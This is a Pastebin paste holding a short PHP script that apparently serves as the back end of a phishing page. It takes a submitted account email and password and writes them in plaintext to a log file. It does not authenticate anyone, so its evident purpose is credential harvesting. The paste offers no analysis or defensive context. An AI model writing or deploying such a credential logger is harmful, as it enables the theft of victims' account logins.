Advertisement
Guest User

Untitled

a guest
Jan 13th, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.30 KB | None | 0 0
  1. <?php
  2.  
  3. if(isset($_POST['accountEmailAddress'], $_POST['accountPassword'])){
  4. $username = htmlspecialchars($_POST['accountEmailAddress']);
  5. $password = htmlspecialchars($_POST['accountPassword']);
  6.  
  7. $ufile = fopen('log.txt', 'w');
  8.  
  9. fwrite($ufile, "$username : $password");
  10.  
  11. fclose($ufile);
  12. }
  13.  
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement